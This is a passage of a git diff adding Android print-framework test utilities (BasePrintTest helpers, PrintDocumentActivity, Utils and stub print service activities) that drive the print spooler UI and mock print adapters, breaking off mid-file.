+                    "com.android.printspooler:id/orientation_spinner"));
+            orientationSpinner.click();
+            UiObject orientationOption = uiDevice.findObject(new UiSelector().text(orientation));
+            orientationOption.click();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
+    }
+
+    public String getOrientation() throws UiObjectNotFoundException, IOException {
+        try {
+            UiObject orientationSpinner = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/orientation_spinner"));
+            return orientationSpinner.getText();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
+    }
+
+    protected void changeMediaSize(String mediaSize) throws UiObjectNotFoundException, IOException {
+        try {
+            UiDevice uiDevice = getUiDevice();
+            UiObject mediaSizeSpinner = uiDevice.findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/paper_size_spinner"));
+            mediaSizeSpinner.click();
+            UiObject mediaSizeOption = uiDevice.findObject(new UiSelector().text(mediaSize));
+            mediaSizeOption.click();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
+    }
+
+    protected void changeColor(String color) throws UiObjectNotFoundException, IOException {
+        try {
+            UiDevice uiDevice = getUiDevice();
+            UiObject colorSpinner = uiDevice.findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/color_spinner"));
+            colorSpinner.click();
+            UiObject colorOption = uiDevice.findObject(new UiSelector().text(color));
+            colorOption.click();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
+    }
+
+    public String getColor() throws UiObjectNotFoundException, IOException {
+        try {
+            UiObject colorSpinner = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/color_spinner"));
+            return colorSpinner.getText();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
+    }
+
+    protected void changeDuplex(String duplex) throws UiObjectNotFoundException, IOException {
+        try {
+            UiDevice uiDevice = getUiDevice();
+            UiObject duplexSpinner = uiDevice.findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/duplex_spinner"));
+            duplexSpinner.click();
+            UiObject duplexOption = uiDevice.findObject(new UiSelector().text(duplex));
+            duplexOption.click();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
+    }
+
+    protected void changeCopies(int newCopies) throws UiObjectNotFoundException, IOException {
+        try {
+            UiObject copies = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/copies_edittext"));
+            copies.setText(Integer.valueOf(newCopies).toString());
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
+    }
+
+    protected String getCopies() throws UiObjectNotFoundException, IOException {
+        try {
+            UiObject copies = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/copies_edittext"));
+            return copies.getText();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
+    }
+
+    protected void assertNoPrintButton() throws UiObjectNotFoundException, IOException {
+        assertFalse(getUiDevice().hasObject(By.res("com.android.printspooler:id/print_button")));
+    }
+
+    public void clickPrintButton() throws UiObjectNotFoundException, IOException {
+        try {
+            UiObject printButton = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/print_button"));
+            printButton.click();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
+    }
+
+    protected void clickRetryButton() throws UiObjectNotFoundException, IOException {
+        try {
+            UiObject retryButton = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/action_button"));
+            retryButton.click();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
+    }
+
+    public void dumpWindowHierarchy() throws IOException {
+        ByteArrayOutputStream os = new ByteArrayOutputStream();
+        getUiDevice().dumpWindowHierarchy(os);
+
+        Log.w(LOG_TAG, "Window hierarchy:");
+        for (String line : os.toString("UTF-8").split("\n")) {
+            Log.w(LOG_TAG, line);
+        }
+    }
+
+    protected PrintDocumentActivity getActivity() {
+        return mActivity;
+    }
+
+    protected void createActivity() throws IOException {
+        Log.d(LOG_TAG, "createActivity()");
+
+        int createBefore = getActivityCreateCallbackCallCount();
+
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.putExtra(TEST_ID, mTestId);
+
+        Instrumentation instrumentation = getInstrumentation();
+
+        // Unlock screen.
+        SystemUtil.runShellCommand(instrumentation, "input keyevent KEYCODE_WAKEUP");
+
+        intent.setClassName(instrumentation.getTargetContext().getPackageName(),
+                PrintDocumentActivity.class.getName());
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        instrumentation.startActivitySync(intent);
+
+        waitForActivityCreateCallbackCalled(createBefore + 1);
+    }
+
+    protected void openPrintOptions() throws UiObjectNotFoundException {
+        UiObject expandHandle = getUiDevice().findObject(new UiSelector().resourceId(
+                "com.android.printspooler:id/expand_collapse_handle"));
+        expandHandle.click();
+    }
+
+    protected void openCustomPrintOptions() throws UiObjectNotFoundException {
+        UiObject expandHandle = getUiDevice().findObject(new UiSelector().resourceId(
+                "com.android.printspooler:id/more_options_button"));
+        expandHandle.click();
+    }
+
+    protected static void clearPrintSpoolerData() throws Exception {
+        if (getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+                  PackageManager.FEATURE_PRINTING)) {
+            assertTrue("failed to clear print spooler data",
+                    SystemUtil.runShellCommand(getInstrumentation(), String.format(
+                            "pm clear --user %d %s", CURRENT_USER_ID, PRINT_SPOOLER_PACKAGE_NAME))
+                            .contains(PM_CLEAR_SUCCESS_OUTPUT));
+        }
+    }
+
+    protected void verifyLayoutCall(InOrder inOrder, PrintDocumentAdapter mock,
+            PrintAttributes oldAttributes, PrintAttributes newAttributes,
+            final boolean forPreview) {
+        inOrder.verify(mock).onLayout(eq(oldAttributes), eq(newAttributes),
+                any(CancellationSignal.class), any(LayoutResultCallback.class), argThat(
+                        new BaseMatcher<Bundle>() {
+                            @Override
+                            public boolean matches(Object item) {
+                                Bundle bundle = (Bundle) item;
+                                return forPreview == bundle.getBoolean(
+                                        PrintDocumentAdapter.EXTRA_PRINT_PREVIEW);
+                            }
+
+                            @Override
+                            public void describeTo(Description description) {
+                                /* do nothing */
+                            }
+                        }));
+    }
+
+    protected PrintDocumentAdapter createMockPrintDocumentAdapter(Answer<Void> layoutAnswer,
+            Answer<Void> writeAnswer, Answer<Void> finishAnswer) {
+        // Create a mock print adapter.
+        PrintDocumentAdapter adapter = mock(PrintDocumentAdapter.class);
+        if (layoutAnswer != null) {
+            doAnswer(layoutAnswer).when(adapter).onLayout(any(PrintAttributes.class),
+                    any(PrintAttributes.class), any(CancellationSignal.class),
+                    any(LayoutResultCallback.class), any(Bundle.class));
+        }
+        if (writeAnswer != null) {
+            doAnswer(writeAnswer).when(adapter).onWrite(any(PageRange[].class),
+                    any(ParcelFileDescriptor.class), any(CancellationSignal.class),
+                    any(WriteResultCallback.class));
+        }
+        if (finishAnswer != null) {
+            doAnswer(finishAnswer).when(adapter).onFinish();
+        }
+        return adapter;
+    }
+
+    /**
+     * Create a mock {@link PrintDocumentAdapter} that provides one empty page.
+     *
+     * @return The mock adapter
+     */
+    public @NonNull PrintDocumentAdapter createDefaultPrintDocumentAdapter(int numPages) {
+        final PrintAttributes[] printAttributes = new PrintAttributes[1];
+
+        return createMockPrintDocumentAdapter(
+                invocation -> {
+                    PrintAttributes oldAttributes = (PrintAttributes) invocation.getArguments()[0];
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                    LayoutResultCallback callback =
+                            (LayoutResultCallback) invocation
+                                    .getArguments()[3];
+
+                    callback.onLayoutFinished(new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setPageCount(numPages).build(),
+                            !oldAttributes.equals(printAttributes[0]));
+
+                    oldAttributes = printAttributes[0];
+
+                    onLayoutCalled();
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] pages = (PageRange[]) args[0];
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback =
+                            (WriteResultCallback) args[3];
+
+                    writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
+                    fd.close();
+                    callback.onWriteFinished(pages);
+
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    onFinishCalled();
+                    return null;
+                });
+    }
+
+    @SuppressWarnings("unchecked")
+    protected static PrinterDiscoverySessionCallbacks createMockPrinterDiscoverySessionCallbacks(
+            Answer<Void> onStartPrinterDiscovery, Answer<Void> onStopPrinterDiscovery,
+            Answer<Void> onValidatePrinters, Answer<Void> onStartPrinterStateTracking,
+            Answer<Void> onRequestCustomPrinterIcon, Answer<Void> onStopPrinterStateTracking,
+            Answer<Void> onDestroy) {
+        PrinterDiscoverySessionCallbacks callbacks = mock(PrinterDiscoverySessionCallbacks.class);
+
+        doCallRealMethod().when(callbacks).setSession(any(StubbablePrinterDiscoverySession.class));
+        when(callbacks.getSession()).thenCallRealMethod();
+
+        if (onStartPrinterDiscovery != null) {
+            doAnswer(onStartPrinterDiscovery).when(callbacks).onStartPrinterDiscovery(
+                    any(List.class));
+        }
+        if (onStopPrinterDiscovery != null) {
+            doAnswer(onStopPrinterDiscovery).when(callbacks).onStopPrinterDiscovery();
+        }
+        if (onValidatePrinters != null) {
+            doAnswer(onValidatePrinters).when(callbacks).onValidatePrinters(
+                    any(List.class));
+        }
+        if (onStartPrinterStateTracking != null) {
+            doAnswer(onStartPrinterStateTracking).when(callbacks).onStartPrinterStateTracking(
+                    any(PrinterId.class));
+        }
+        if (onRequestCustomPrinterIcon != null) {
+            doAnswer(onRequestCustomPrinterIcon).when(callbacks).onRequestCustomPrinterIcon(
+                    any(PrinterId.class), any(CancellationSignal.class),
+                    any(CustomPrinterIconCallback.class));
+        }
+        if (onStopPrinterStateTracking != null) {
+            doAnswer(onStopPrinterStateTracking).when(callbacks).onStopPrinterStateTracking(
+                    any(PrinterId.class));
+        }
+        if (onDestroy != null) {
+            doAnswer(onDestroy).when(callbacks).onDestroy();
+        }
+
+        return callbacks;
+    }
+
+    protected PrintServiceCallbacks createMockPrintServiceCallbacks(
+            Answer<PrinterDiscoverySessionCallbacks> onCreatePrinterDiscoverySessionCallbacks,
+            Answer<Void> onPrintJobQueued, Answer<Void> onRequestCancelPrintJob) {
+        final PrintServiceCallbacks service = mock(PrintServiceCallbacks.class);
+
+        doCallRealMethod().when(service).setService(any(StubbablePrintService.class));
+        when(service.getService()).thenCallRealMethod();
+
+        if (onCreatePrinterDiscoverySessionCallbacks != null) {
+            doAnswer(onCreatePrinterDiscoverySessionCallbacks).when(service)
+                    .onCreatePrinterDiscoverySessionCallbacks();
+        }
+        if (onPrintJobQueued != null) {
+            doAnswer(onPrintJobQueued).when(service).onPrintJobQueued(any(PrintJob.class));
+        }
+        if (onRequestCancelPrintJob != null) {
+            doAnswer(onRequestCancelPrintJob).when(service).onRequestCancelPrintJob(
+                    any(PrintJob.class));
+        }
+
+        return service;
+    }
+
+    protected void writeBlankPages(PrintAttributes constraints, ParcelFileDescriptor output,
+            int fromIndex, int toIndex) throws IOException {
+        PrintedPdfDocument document = new PrintedPdfDocument(getActivity(), constraints);
+        final int pageCount = toIndex - fromIndex + 1;
+        for (int i = 0; i < pageCount; i++) {
+            PdfDocument.Page page = document.startPage(i);
+            document.finishPage(page);
+        }
+        FileOutputStream fos = new FileOutputStream(output.getFileDescriptor());
+        document.writeTo(fos);
+        fos.flush();
+        document.close();
+    }
+
+    protected void selectPages(String pages, int totalPages) throws Exception {
+        UiObject pagesSpinner = getUiDevice().findObject(new UiSelector().resourceId(
+                "com.android.printspooler:id/range_options_spinner"));
+        pagesSpinner.click();
+
+        UiObject rangeOption = getUiDevice().findObject(new UiSelector().textContains(
+                getPrintSpoolerStringOneParam("template_page_range", totalPages)));
+        rangeOption.click();
+
+        UiObject pagesEditText = getUiDevice().findObject(new UiSelector().resourceId(
+                "com.android.printspooler:id/page_range_edittext"));
+        pagesEditText.setText(pages);
+
+        // Hide the keyboard.
+        getUiDevice().pressBack();
+    }
+
+    private static final class CallCounter {
+        private final Object mLock = new Object();
+
+        private int mCallCount;
+
+        public void call() {
+            synchronized (mLock) {
+                mCallCount++;
+                mLock.notifyAll();
+            }
+        }
+
+        int getCallCount() {
+            synchronized (mLock) {
+                return mCallCount;
+            }
+        }
+
+        public void reset() {
+            synchronized (mLock) {
+                mCallCount = 0;
+            }
+        }
+
+        public void waitForCount(int count, long timeoutMillis) throws TimeoutException {
+            synchronized (mLock) {
+                final long startTimeMillis = SystemClock.uptimeMillis();
+                while (mCallCount < count) {
+                    try {
+                        final long elapsedTimeMillis = SystemClock.uptimeMillis() - startTimeMillis;
+                        final long remainingTimeMillis = timeoutMillis - elapsedTimeMillis;
+                        if (remainingTimeMillis <= 0) {
+                            throw new TimeoutException();
+                        }
+                        mLock.wait(timeoutMillis);
+                    } catch (InterruptedException ie) {
+                        /* ignore */
+                    }
+                }
+            }
+        }
+    }
+
+
+    /**
+     * Make {@code printerName} the default printer by adding it to the history of printers by
+     * printing once.
+     *
+     * @param adapter The {@link PrintDocumentAdapter} used
+     * @throws Exception If the printer could not be made default
+     */
+    public void makeDefaultPrinter(PrintDocumentAdapter adapter, String printerName)
+            throws Exception {
+        // Perform a full print operation on the printer
+        Log.d(LOG_TAG, "print");
+        print(adapter);
+        Log.d(LOG_TAG, "waitForWriteAdapterCallback");
+        waitForWriteAdapterCallback(1);
+        Log.d(LOG_TAG, "selectPrinter");
+        selectPrinter(printerName);
+        Log.d(LOG_TAG, "clickPrintButton");
+        clickPrintButton();
+        Log.d(LOG_TAG, "answerPrintServicesWarning");
+        answerPrintServicesWarning(true);
+        Log.d(LOG_TAG, "waitForPrinterDiscoverySessionDestroyCallbackCalled");
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+
+        // Switch to new activity, which should now use the default printer
+        Log.d(LOG_TAG, "getActivity().finish()");
+        getActivity().finish();
+
+        createActivity();
+    }
+
+    /**
+     * Get a string array from the print spooler's resources.
+     *
+     * @param resourceName The name of the array resource
+     * @return The localized string array
+     *
+     * @throws Exception If anything is unexpected
+     */
+    protected String[] getPrintSpoolerStringArray(String resourceName) throws Exception {
+        PackageManager pm = getActivity().getPackageManager();
+        Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
+        int id = printSpoolerRes.getIdentifier(resourceName, "array", PRINTSPOOLER_PACKAGE);
+        return printSpoolerRes.getStringArray(id);
+    }
+
+    /**
+     * Get a string from the print spooler's resources.
+     *
+     * @param resourceName The name of the string resource
+     * @return The localized string
+     *
+     * @throws Exception If anything is unexpected
+     */
+    private String getPrintSpoolerString(String resourceName) throws Exception {
+        PackageManager pm = getActivity().getPackageManager();
+        Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
+        int id = printSpoolerRes.getIdentifier(resourceName, "string", PRINTSPOOLER_PACKAGE);
+        return printSpoolerRes.getString(id);
+    }
+
+    /**
+     * Get a string with one parameter from the print spooler's resources.
+     *
+     * @param resourceName The name of the string resource
+     * @return The localized string
+     *
+     * @throws Exception If anything is unexpected
+     */
+    protected String getPrintSpoolerStringOneParam(String resourceName, Object p)
+            throws Exception {
+        PackageManager pm = getActivity().getPackageManager();
+        Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
+        int id = printSpoolerRes.getIdentifier(resourceName, "string", PRINTSPOOLER_PACKAGE);
+        return printSpoolerRes.getString(id, p);
+    }
+
+    /**
+     * Get the default media size for the current locale.
+     *
+     * @return The default media size for the current locale
+     *
+     * @throws Exception If anything is unexpected
+     */
+    protected PrintAttributes.MediaSize getDefaultMediaSize() throws Exception {
+        PackageManager pm = getActivity().getPackageManager();
+        Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
+        int defaultMediaSizeResId = printSpoolerRes.getIdentifier("mediasize_default", "string",
+                PRINTSPOOLER_PACKAGE);
+        String defaultMediaSizeName = printSpoolerRes.getString(defaultMediaSizeResId);
+
+        switch (defaultMediaSizeName) {
+            case "NA_LETTER":
+                return PrintAttributes.MediaSize.NA_LETTER;
+            case "JIS_B5":
+                return PrintAttributes.MediaSize.JIS_B5;
+            case "ISO_A4":
+                return PrintAttributes.MediaSize.ISO_A4;
+            default:
+                throw new Exception("Unknown default media size " + defaultMediaSizeName);
+        }
+    }
+
+    /**
+     * Annotation used to signal that a test does not need an activity.
+     */
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target(ElementType.METHOD)
+    protected @interface NoActivity { }
+
+    /**
+     * Rule that handles the {@link NoActivity} annotation.
+     */
+    private static class ShouldStartActivity implements TestRule {
+        boolean mNoActivity;
+
+        @Override
+        public Statement apply(Statement base, org.junit.runner.Description description) {
+            for (Annotation annotation : description.getAnnotations()) {
+                if (annotation instanceof NoActivity) {
+                    mNoActivity = true;
+                    break;
+                }
+            }
+
+            return base;
+        }
+    }
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/PrintDocumentActivity.java b/tests/tests/print/printTestUtilLib/src/android/print/test/PrintDocumentActivity.java
new file mode 100644
index 0000000..cfb644f
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/PrintDocumentActivity.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test;
+
+import android.app.Activity;
+import android.app.KeyguardManager;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.WindowManager;
+
+public class PrintDocumentActivity extends Activity {
+    private static final String LOG_TAG = "PrintDocumentActivity";
+    int mTestId;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        mTestId = getIntent().getIntExtra(BasePrintTest.TEST_ID, -1);
+        Log.d(LOG_TAG, "onCreate() " + this + " for " + mTestId);
+
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
+                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+
+        KeyguardManager km = getSystemService(KeyguardManager.class);
+        if (km != null) {
+            km.requestDismissKeyguard(this, null);
+        }
+
+        BasePrintTest.onActivityCreateCalled(mTestId, this);
+
+        if (savedInstanceState != null) {
+            Log.d(LOG_TAG,
+                    "We cannot deal with lifecycle. Hence finishing " + this + " for " + mTestId);
+            finish();
+        }
+    }
+
+    @Override
+    protected void onDestroy() {
+        Log.d(LOG_TAG, "onDestroy() " + this);
+        BasePrintTest.onActivityDestroyCalled(mTestId);
+        super.onDestroy();
+    }
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/Utils.java b/tests/tests/print/printTestUtilLib/src/android/print/test/Utils.java
new file mode 100644
index 0000000..dbc6644
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/Utils.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test;
+
+import android.content.Context;
+import android.os.Handler;
+import android.os.Looper;
+import android.print.PrintJob;
+import android.print.PrintManager;
+import android.support.annotation.NonNull;
+import android.util.Log;
+
+/**
+ * Utilities for print tests
+ */
+public class Utils {
+    private static final String LOG_TAG = "Utils";
+
+    /**
+     * A {@link Runnable} that can throw an {@link Throwable}.
+     */
+    public interface Invokable {
+        void run() throws Throwable;
+    }
+
+    /**
+     * Run a {@link Invokable} and expect and {@link Throwable} of a certain type.
+     *
+     * @param r             The {@link Invokable} to run
+     * @param expectedClass The expected {@link Throwable} type
+     */
+    public static void assertException(@NonNull Invokable r,
+            @NonNull Class<? extends Throwable> expectedClass) throws Throwable {
+        try {
+            r.run();
+        } catch (Throwable e) {
+            if (e.getClass().isAssignableFrom(expectedClass)) {
+                return;
+            } else {
+                Log.e(LOG_TAG, "Expected: " + expectedClass.getName() + ", got: "
+                        + e.getClass().getName());
+                throw e;
+            }
+        }
+
+        throw new AssertionError("No throwable thrown");
+    }
+
+    /**
+     * Run a {@link Invokable} on the main thread and forward the {@link Throwable} if one was
+     * thrown.
+     *
+     * @param r The {@link Invokable} to run
+     *
+     * @throws Throwable If the {@link Runnable} caused an issue
+     */
+    public static void runOnMainThread(@NonNull final Invokable r) throws Throwable {
+        final Object synchronizer = new Object();
+        final Throwable[] thrown = new Throwable[1];
+
+        synchronized (synchronizer) {
+            (new Handler(Looper.getMainLooper())).post(() -> {
+                synchronized (synchronizer) {
+                    try {
+                        r.run();
+                    } catch (Throwable t) {
+                        thrown[0] = t;
+                    }
+
+                    synchronizer.notify();
+                }
+            });
+
+            synchronizer.wait();
+        }
+
+        if (thrown[0] != null) {
+            throw thrown[0];
+        }
+    }
+
+    /**
+     * Make sure that a {@link Invokable} eventually finishes without throwing a {@link Throwable}.
+     *
+     * @param r The {@link Invokable} to run.
+     */
+    public static void eventually(@NonNull Invokable r) throws Throwable {
+        long start = System.currentTimeMillis();
+
+        while (true) {
+            try {
+                r.run();
+                break;
+            } catch (Throwable e) {
+                if (System.currentTimeMillis() - start < BasePrintTest.OPERATION_TIMEOUT_MILLIS) {
+                    Log.e(LOG_TAG, "Ignoring exception", e);
+
+                    try {
+                        Thread.sleep(500);
+                    } catch (InterruptedException e1) {
+                        Log.e(LOG_TAG, "Interrupted", e);
+                    }
+                } else {
+                    throw e;
+                }
+            }
+        }
+    }
+
+    /**
+     * @param name Name of print job
+     *
+     * @return The print job for the name
+     *
+     * @throws Exception If print job could not be found
+     */
+    public static @NonNull PrintJob getPrintJob(@NonNull PrintManager pm, @NonNull String name)
+            throws Exception {
+        for (android.print.PrintJob job : pm.getPrintJobs()) {
+            if (job.getInfo().getLabel().equals(name)) {
+                return job;
+            }
+        }
+
+        throw new Exception("Print job " + name + " not found in " + pm.getPrintJobs());
+    }
+
+    /**
+     * @return The print manager
+     */
+    public static @NonNull PrintManager getPrintManager(@NonNull Context context) {
+        return (PrintManager) context.getSystemService(Context.PRINT_SERVICE);
+    }
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/AddPrintersActivity.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/AddPrintersActivity.java
new file mode 100644
index 0000000..5e01d7c
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/AddPrintersActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.support.annotation.NonNull;
+
+import java.util.ArrayList;
+
+public class AddPrintersActivity extends Activity {
+    private static final ArrayList<Runnable> sObservers = new ArrayList<>();
+
+    public static void addObserver(@NonNull Runnable observer) {
+        synchronized (sObservers) {
+            sObservers.add(observer);
+        }
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        synchronized (sObservers) {
+            for (Runnable sObserver : sObservers) {
+                sObserver.run();
+            }
+        }
+
+        finish();
+    }
+
+    public static void clearObservers() {
+        synchronized (sObservers) {
+            sObservers.clear();
+        }
+    }
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/CustomPrintOptionsActivity.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/CustomPrintOptionsActivity.java
new file mode 100644
index 0000000..94993c7
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/CustomPrintOptionsActivity.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.print.PrintJobInfo;
+import android.print.PrinterInfo;
+import android.printservice.PrintService;
+
+/**
+ * Custom print options activity for both print services
+ */
+public class CustomPrintOptionsActivity extends Activity {
+    /** Lock for {@link #sCallback} */
+    private static final Object sLock = new Object();
+
+    /** Currently registered callback for _both_ first and second print service. */
+    private static CustomPrintOptionsCallback sCallback = null;
+
+    /**
+     * Set a new callback called when the custom options activity is launched.
+     *
+     * @param callback The new callback or null, if the callback should be unregistered.
+     */
+    public static void setCallBack(CustomPrintOptionsCallback callback) {
+        synchronized (sLock) {
+            sCallback = callback;
+        }
+    }
+
+    /**
+     * Callback executed for this activity. Set via {@link #setCallBack}.
+     */
+    public interface CustomPrintOptionsCallback {
+        PrintJobInfo executeCustomPrintOptionsActivity(PrintJobInfo printJob,
+                PrinterInfo printer);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        Intent result = new Intent();
+
+        synchronized (sLock) {
+            if (sCallback != null) {
+                PrintJobInfo printJobInfo = getIntent().getParcelableExtra(
+                        PrintService.EXTRA_PRINT_JOB_INFO);
+                PrinterInfo printerInfo = getIntent().getParcelableExtra(
+                        "android.intent.extra.print.EXTRA_PRINTER_INFO");
+
+                result.putExtra(PrintService.EXTRA_PRINT_JOB_INFO,
+                        sCallback.executeCustomPrintOptionsActivity(printJobInfo, printerInfo));
+            }
+        }
+
+        setResult(Activity.RESULT_OK, result);
+        finish();
+    }
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/FirstPrintService.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/FirstPrintService.java
new file mode 100644
index 0000000..2c3a4ee
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/FirstPrintService.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+public class FirstPrintService extends StubbablePrintService {
+
+    private static final Object sLock = new Object();
+
+    private static PrintServiceCallbacks sCallbacks;
+
+    public static void setCallbacks(PrintServiceCallbacks callbacks) {
+        synchronized (sLock) {
+            sCallbacks = callbacks;
+        }
+    }
+
+    @Override
+    protected PrintServiceCallbacks getCallbacks() {
+        synchronized (sLock) {
+            if (sCallbacks != null) {
+                sCallbacks.setService(this);
+            }
+            return sCallbacks;
+        }
+    }
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/InfoActivity.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/InfoActivity.java
new file mode 100644
index 0000000..627fec9
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/InfoActivity.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+import java.util.ArrayList;
+
+public class InfoActivity extends Activity {
+    public interface Observer {
+        void onCreate(Activity createdActivity);
+    }
+
+    private static final ArrayList<Observer> sObservers = new ArrayList<>();
+
+    public static void addObserver(Observer observer) {
+        synchronized (sObservers) {
+            sObservers.add(observer);
+        }
+    }
+
+    public static void clearObservers() {
+        synchronized (sObservers) {
+            sObservers.clear();
+        }
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
